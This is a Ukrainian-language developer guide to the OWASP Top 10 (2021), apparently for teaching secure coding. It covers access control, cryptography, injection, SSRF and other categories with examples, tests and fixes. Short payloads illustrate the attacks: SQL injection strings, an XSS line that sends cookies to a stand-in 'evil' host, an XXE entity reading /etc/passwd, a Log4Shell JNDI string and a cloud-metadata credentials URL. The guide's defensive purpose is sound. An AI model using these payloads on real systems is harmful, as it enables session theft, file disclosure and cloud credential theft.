OWASP Top 10 (2021) на практиці: посібник для розробників

A01: Broken Access Control (порушення контролю доступу)

Broken Access Control означає, що застосунок не забезпечує дотримання того, що дозволено робити автентифікованому (чи анонімному) користувачеві. У 2021 році категорія піднялася на 1-ше місце — 94% протестованих застосунків мали ту чи іншу її форму. Вона охоплює IDOR (Insecure Direct Object Reference), відсутність перевірок на рівні функцій, примусовий перехід на привілейовані URL і підміну JWT чи cookie. Першопричина майже завжди — довіра до ідентифікатора чи ролі від клієнта без повторної перевірки власника на сервері для кожного запиту. Контроль доступу має забезпечуватися на боці сервера; усе, що може змінити клієнт, не є захистом.

• Реальний приклад: банківський застосунок віддає GET /api/accounts/12345/statements. Заміна 12345 на 12346 повертає виписки іншого клієнта, бо сервер не перевіряє належність рахунку користувачу сесії — класичний IDOR (CWE-639).
• Перевірка: увійдіть як користувач A і запитайте ідентифікатори обʼєктів користувача B; відповідь 200 замість 403/404 підтверджує вразливість. Автоматизуйте через Burp Autorize або ручним перебором ID.
• Запобігання: забезпечуйте власність на сервері — WHERE owner_id = :session_user у кожному запиті, а не лише приховування в UI.
• Запобігання: забороняйте за замовчуванням (deny by default); вимагайте явного надання прав для кожного ресурсу й дії.
• Запобігання: використовуйте непередбачувані ідентифікатори (UUIDv4) як ешелонований захист, а не сам захід.
• Посилання: OWASP WSTG-ATHZ, CWE-284/CWE-639; тестуйте горизонтальну й вертикальну ескалацію.

A02: Cryptographic Failures (помилки криптографії)

Раніше ця категорія називалася 'Sensitive Data Exposure' і була перейменована, щоб зосередитися на першопричині: помилках криптографії (чи її відсутності), що розкривають дані під час передавання та зберігання. Вона охоплює передавання відкритим текстом, слабкі чи застарілі алгоритми (MD5, SHA-1, DES, RC4), захардкоджені чи повторно використані ключі, слабку випадковість і неправильну перевірку сертифікатів. Перше питання завжди: які дані потребують захисту за законом (PII, медичні, платіжні, облікові) і чи справді вони зашифровані всюди, де зберігаються й переміщуються?

• Реальний приклад: застосунок зберігає паролі як несолоні хеші MD5. Один витік бази дозволяє зламати більшість із них за години за допомогою райдужних таблиць і перебору на GPU (CWE-916).
• Перевірка: перевірте TLS за допомогою testssl.sh чи SSL Labs — позначте TLS 1.0/1.1, слабкі шифри та відсутність HSTS. Перегляньте код на MD5/SHA1 щодо секретів і захардкоджені ключі.
• Запобігання: хешуйте паролі алгоритмом Argon2id (або bcrypt/scrypt), ніколи швидкими хешами загального призначення; використовуйте унікальну сіль для кожного користувача.
• Запобігання: вимагайте TLS 1.2+ всюди, увімкніть HSTS і вимкніть застарілі протоколи та набори шифрів.
• Запобігання: шифруйте чутливі дані під час зберігання за допомогою AES-256-GCM; керуйте ключами в KMS/HSM, ротуйте їх і ніколи не додавайте до репозиторію.
• Посилання: OWASP WSTG-CRYP, ASVS V6 (криптографія), V9 (комунікація); відповідно до PCI DSS і захисту даних.

A03: Injection (впровадження)

Injection виникає, коли недовірений ввід інтерпретується як частина команди чи запиту — SQL, NoSQL, системна команда, LDAP, ORM або мова виразів. Cross-Site Scripting (XSS) у 2021 році обʼєднали з цією категорією, оскільки це впровадження в контекст HTML/JS браузера. Спільний дефект: дані й код використовують один канал, а інтерпретатор не може їх розрізнити. Injection майже цілком запобіжне через параметризацію, але досі поширене, бо конкатенація рядків — шлях найменшого спротиву.

• Реальний приклад: запит, побудований як "SELECT * FROM users WHERE name='" + input + "'", дозволяє ввести ' OR '1'='1 для обходу автентифікації, а в гірших випадках ; DROP TABLE ... (CWE-89).
• Реальний приклад (XSS): поле коментаря, відрендерене без кодування, дозволяє виконати <script>fetch('//evil/'+document.cookie)</script> у браузері кожного читача (CWE-79).
• Перевірка: фазьте ввід символами ', ", ; і списками навантажень; використовуйте sqlmap і статичний аналіз (Semgrep, CodeQL) для пошуку запитів із рядків.
• Запобігання: використовуйте параметризовані запити / prepared statements або коректно налаштований ORM — ніколи не склеюйте ввід користувача в запит.
• Запобігання (XSS): контекстно-залежне кодування виводу, сувора Content-Security-Policy і автоекранування фреймворку замість dangerouslySetInnerHTML.
• Посилання: OWASP WSTG-INPV, CWE-89/CWE-79/CWE-78.

A04: Insecure Design (небезпечна архітектура)

Insecure Design — нова категорія 2021 року, що охоплює вади в самій архітектурі чи бізнес-логіці, а не помилки реалізації. Не можна «залатати» відсутній захід захисту, який ніколи не проєктували. Потрібне моделювання загроз, безпечні патерни проєктування та еталонні архітектури, застосовані до написання коду. Ідеально реалізована функція все одно може бути небезпечною, якщо проєкт не врахував сценарії зловживання.

• Реальний приклад: інтернет-магазин дозволяє застосувати купон безлімітно, бо проєкт припускав одне використання на замовлення, але не врахував конкурентні запити — зловмисники змагаються під час оформлення, щоб складати знижки (CWE-840).
• Реальний приклад: скидання пароля використовує контрольні питання («дівоче прізвище матері»), які публічно доступні — слабкість у самому проєкті.
• Перевірка: проведіть моделювання загроз (STRIDE) для нових функцій; для кожного потоку запитуйте «як зловмисник цим зловживе?», а не лише «чи це працює?».
• Запобігання: встановіть безпечні патерни проєктування та зміцнену еталонну архітектуру; вимагайте моделювання загроз для критичних потоків.
• Запобігання: пишіть тести зловживань поряд із функціональними; застосовуйте ліміти, квоти та бізнес-правила на боці сервера.
• Посилання: OWASP WSTG-BUSL, ASVS V1 (архітектура), OWASP Threat Modeling.

A05: Security Misconfiguration (небезпечна конфігурація)

Security Misconfiguration охоплює небезпечні налаштування за замовчуванням, неповні конфігурації, докладні повідомлення про помилки, залишені ввімкненими зайві функції, а також незалатані чи дефолтні облікові записи. XML External Entities (XXE) у 2021 році включили до цієї категорії. Зі зростанням налаштовуваності систем у хмарі, контейнерах і фреймворках помилки конфігурації стали однією з найчастіших знахідок — одне небезпечне налаштування (відкрита консоль адміна, дозвільна політика CORS) може звести нанівець коректний код.

• Реальний приклад: bucket S3 чи інстанс Elasticsearch залишені публічно читабельними без автентифікації, розкриваючи мільйони записів — повторювана причина великих витоків (CWE-16/CWE-732).
• Реальний приклад (XXE): XML-парсер з увімкненими зовнішніми сутностями обробляє <!ENTITY xxe SYSTEM 'file:///etc/passwd'>, витікаючи локальні файли (CWE-611).
• Перевірка: скануйте інструментами Nuclei, Nikto чи сканерами стану хмари (ScoutSuite, Prowler); переконайтеся у відсутності дефолтних облікових даних, лістингу каталогів і стек-трейсів у продакшені.
• Запобігання: зміцнюйте за повторюваним автоматизованим еталоном (IaC + CIS Benchmarks); видаляйте невикористовувані функції, порти й демо-застосунки.
• Запобігання: вимкніть зовнішні сутності в XML-парсерах; повертайте узагальнені помилки, задайте заголовки безпеки (CSP, X-Content-Type-Options, HSTS), обмежте CORS явними origin.
• Посилання: OWASP WSTG-CONF, CWE-16; ставтеся до конфігурації як до версійованого, рецензованого коду.

A06: Vulnerable and Outdated Components (вразливі та застарілі компоненти)

Сучасні застосунки — це переважно сторонній код: бібліотеки, фреймворки, середовища виконання та контейнери. Категорія охоплює використання компонентів із відомими вразливостями (CVE), непідтримуваних чи застарілих версій, а також незнання того, що реально запущено. Оскільки компонент працює з повними привілеями застосунку, одна вразлива залежність може скомпрометувати все. Log4Shell (CVE-2021-44228) і витік Equifax (Apache Struts CVE-2017-5638) походять із цієї категорії.

• Реальний приклад: застосунок постачається з Log4j 2.14; зловмисник надсилає значення заголовка ${jndi:ldap://evil/x}, яке запускає віддалене виконання коду через Log4Shell (CVE-2021-44228).
• Перевірка: запускайте аналіз складу ПЗ (SCA) — OWASP Dependency-Check, npm audit, pip-audit чи Snyk — у CI і зупиняйте збірку за CVE високої критичності.
• Перевірка: формуйте й підтримуйте SBOM (CycloneDX чи SPDX), щоб за хвилини відповісти «чи це нас стосується?» після нового CVE.
• Запобігання: видаляйте невикористовувані залежності; латайте за визначеним SLA; завантажуйте лише з офіційних джерел із перевіркою цілісності (lock-файли, перевірка хеша/підпису).
• Запобігання: надавайте перевагу активно підтримуваним бібліотекам; ставтеся до занедбаних залежностей як до ризику, що потребує заміни.
• Посилання: CWE-1104 і OWASP Dependency-Check.

A07: Identification and Authentication Failures (помилки автентифікації)

Раніше названа 'Broken Authentication', ця категорія охоплює слабкості підтвердження особи: credential stuffing, брутфорс, слабкі чи дефолтні паролі, некоректне керування сесіями та відсутність багатофакторної автентифікації. Якщо зловмисник може стати іншим користувачем, більшість інших заходів втрачають сенс. Керування сесіями — половина справи: надійний вхід мало що означає, якщо токен передбачуваний, не ротується після входу чи не анулюється при виході.

• Реальний приклад: у API немає обмеження частоти входу, тож зловмисники відтворюють список злитих паролів (credential stuffing) і захоплюють тисячі акаунтів із повторно використаними паролями (CWE-307).
• Реальний приклад: ідентифікатори сесії передаються в URL і не ротуються після автентифікації, що уможливлює фіксацію сесії (CWE-384).
• Перевірка: протестуйте блокування акаунта / rate limiting, політику паролів, закінчення сесії та ротацію токенів; переконайтеся, що MFA не можна обійти через альтернативний потік.
• Запобігання: впровадьте MFA, перевіряйте паролі за списками витоків (Have I Been Pwned / API k-анонімності), вимкніть дефолтні облікові дані.
• Запобігання: перевірений фреймворк сесій; токени високої ентропії, cookie HttpOnly/Secure/SameSite, ротація при вході, завершення неактивних сесій, rate limiting.
• Посилання: OWASP WSTG-ATHN, ASVS V2 (автентифікація) і V3 (сесії).

A08: Software and Data Integrity Failures (порушення цілісності)

Нова категорія 2021 року, зосереджена на коді та інфраструктурі, які не захищають від порушень цілісності: непідписані оновлення, недовірена десеріалізація та скомпрометовані конвеєри CI/CD. Insecure Deserialization зі списку 2017 року було включено сюди. Категорія стала помітною з атаками на ланцюг постачання на кшталт SolarWinds, де довірений механізм оновлень доставив шкідливий код. Спільний знаменник — довіра даним, коду чи оновленню без перевірки їхнього джерела та цілісності.

• Реальний приклад: застосунок десеріалізує обʼєкт Java/PHP/Python від користувача без валідації; підготовлене навантаження запускає віддалене виконання коду під час десеріалізації (CWE-502).
• Реальний приклад: конвеєр CI завантажує складальний скрипт із незакріпленого, змінюваного джерела; компрометація впроваджує бекдор у кожен реліз (CWE-345).
• Перевірка: інвентаризуйте всі точки десеріалізації та механізми автооновлення; перегляньте CI/CD на непідписані артефакти й незакріплені залежності.
• Запобігання: уникайте нативної десеріалізації недовірених даних — використовуйте JSON зі суворою схемою; якщо це неминуче, застосовуйте білі списки типів і перевірки цілісності.
• Запобігання: перевіряйте цифрові підписи оновлень, залежностей і плагінів; закріплюйте версії; захистіть конвеєр (агенти з мінімальними привілеями, захищені гілки, підписані коміти/артефакти — Sigstore/SLSA).
• Посилання: CWE-502/CWE-829; фреймворк SLSA для ланцюга постачання.

A09 і A10: Помилки логування/моніторингу та SSRF

A09 Security Logging and Monitoring Failures: без належного логування, виявлення й реагування зломи залишаються непоміченими — час присутності зловмисника вимірюється сотнями днів. Охоплює незалоговані події безпеки, логи без деталей, невідстежувані логи та відсутність сповіщень і процесу реагування. Не експлуатується напряму; її відсутність дозволяє будь-якій іншій атаці проходити непоміченою.

A10 Server-Side Request Forgery (SSRF): нова позиція 2021 року, додана переважно за опитуванням спільноти. Виникає, коли застосунок завантажує віддалений ресурс за URL, який не валідує, дозволяючи зловмиснику змусити сервер робити запити до непередбачених цілей — внутрішніх сервісів, ендпоінтів метаданих хмари чи довільних хостів. Особливо небезпечна в хмарі, де сервіс метаданих (169.254.169.254) може видати тимчасові облікові дані.

• A09 приклад: зловмисник тижнями підбирає адмін-акаунти; оскільки невдалі входи не логуються й не сповіщаються, компрометацію виявляють лише коли дані зʼявляються в продажу (CWE-778).
• A09 перевірка/запобігання: логуйте входи, відмови контролю доступу та серверні помилки валідації з контекстом (хто/що/коли/джерело), але ніколи секрети чи повні PII; централізуйте до захищеного від підробки SIEM; визначте пороги сповіщень (credential stuffing, ескалація, масовий експорт) і відпрацьовуйте план реагування (NIST SP 800-61). ASVS V7.
• A10 приклад: функція попереднього перегляду зображення завантажує URL користувача; зловмисник надсилає http://169.254.169.254/latest/meta-data/iam/security-credentials/ і викрадає облікові дані IAM хмари — схема за витоком Capital One 2019 року (CWE-918).
• A10 перевірка: тестуйте кожну функцію завантаження за URL (вебхуки, попередні перегляди, імпорти, генератори PDF) із внутрішніми IP, localhost, IP метаданих хмари та альтернативними кодуваннями/редиректами.
• A10 запобігання: білий список хостів і схем; відхиляйте внутрішні/зарезервовані діапазони (RFC 1918, link-local, loopback) після розвʼязання DNS; повторно валідуйте підсумковий IP проти DNS-rebinding; вимагайте IMDSv2 і мінімальні привілеї ролі інстанса.
• Посилання: A09 OWASP WSTG-BUSL / ASVS V7 / NIST SP 800-61; A10 OWASP WSTG-INPV-19, CWE-918.

Часті запитання